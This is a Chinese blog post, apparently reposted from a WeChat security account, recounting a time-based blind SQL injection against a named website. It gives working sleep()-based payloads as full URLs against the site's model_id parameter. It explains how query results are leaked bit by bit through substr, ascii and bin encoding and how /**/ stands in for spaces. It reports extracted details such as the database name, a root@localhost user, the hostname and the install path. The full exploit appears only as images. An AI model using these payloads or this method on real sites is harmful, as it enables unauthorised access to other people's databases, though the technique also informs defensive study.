复盘某奇葩SQL时间延迟盲注(1)

admin 2021年5月26日03:57:00评论112 views字数 1228阅读4分5秒阅读模式


记一次当时不会,事后特别后悔,复盘奇葩SQL时间延迟盲注


Sleep()函数内置查询注入

Payload: if(now()=sysdate(),sleep(5),0)

漏洞验证:

https://www.wudawei.com/info/iList.jsp?cat_id=10211&model_id=if(now()=sysdate()%2Csleep(5)%2C0)

延迟了10

复盘某奇葩SQL时间延迟盲注(1)


https://www.wudawei.com/info/iList.jsp?cat_id=10211&model_id=if(now()=sysdate()%2Csleep(6)%2C0)

延迟了12

复盘某奇葩SQL时间延迟盲注(1)

https://www.wudawei.com/info/iList.jsp?cat_id=10211&model_id=if(now()=sysdate()%2Csleep(7)%2C0)

延迟了14

复盘某奇葩SQL时间延迟盲注(1) 

 


now()返回的时间是SQL语句执行的时间,无论在一次SQL语句中now()函数被执行多少次.即SQL开始执行的时间.

sysdate()返回的时间是函数执行的时间,

通过上面的payload测试可以延迟函数被执行了两次中执行了2次

获取当前数据库的库名长度

https://www.wudawei.com/info/iList.jsp?cat_id=10211&model_id=if(now()=sysdate(),sleep(length(database())),0)

复盘某奇葩SQL时间延迟盲注(1)复盘某奇葩SQL时间延迟盲注(1)

8/2=4,所以当前数据库的库名长度为4个字符

复盘某奇葩SQL时间延迟盲注(1)

获取数据库名ascii编码后第1位数值对其进行二进制编码的数值的长度为14/2=7(字符)

生成注入字典payload

复盘某奇葩SQL时间延迟盲注(1)

中心思想是把执行结果通过substr()函数逐个字符进行切割,然后ascii编码成长度为2或3的阿拉伯数字,在进行bin()二进制编码在通过函数成长度为6到7,在把二进制编码后的字符串通过substr()函数逐个字符进行切割,通过Sleep()延迟函数执行0、1的方式向前台传递服务器信息。

复盘某奇葩SQL时间延迟盲注(1)

复盘某奇葩SQL时间延迟盲注(1)

当前数据库为deya

复盘某奇葩SQL时间延迟盲注(1)

查看当前用户名为root@localhost

复盘某奇葩SQL时间延迟盲注(1)

查看版本号

复盘某奇葩SQL时间延迟盲注(1)

当时忘记加了判断特俗字符串和数字的判断

查看目标系统版本

复盘某奇葩SQL时间延迟盲注(1)

Linuxzgli

查看主机名

复盘某奇葩SQL时间延迟盲注(1)

ORAClEserve

获取数据库软件安装位置

复盘某奇葩SQL时间延迟盲注(1)

/deya/cms/data/db/mysql

查表


利用条件是全部查询语句只能放在sleep()函数里面执行外带出来,且不能有空格。。。

问了好几个前辈都摇了摇头,结束之后本地靶机复盘测试,竟然查询成功

完整版exp如下:

复盘某奇葩SQL时间延迟盲注(1)

用/**/规避空格执行报错问题

if numer == "0000000":

这行代码主要是判断字符是否为空

执行结果

复盘某奇葩SQL时间延迟盲注(1)

主要就是递归枚举了这两个参数信息,来获取目标数据信息。

利用方式

复盘某奇葩SQL时间延迟盲注(1)

把这个用for循环做个拼接,然后递归请求执行,执行响应的时间除以2,就可以得出结果。。。

结束

本文始发于微信公众号(黑白天实验室):复盘某奇葩SQL时间延迟盲注(1)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年5月26日03:57:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   复盘某奇葩SQL时间延迟盲注(1)http://cn-sec.com/archives/380833.html

发表评论

匿名网友 填写信息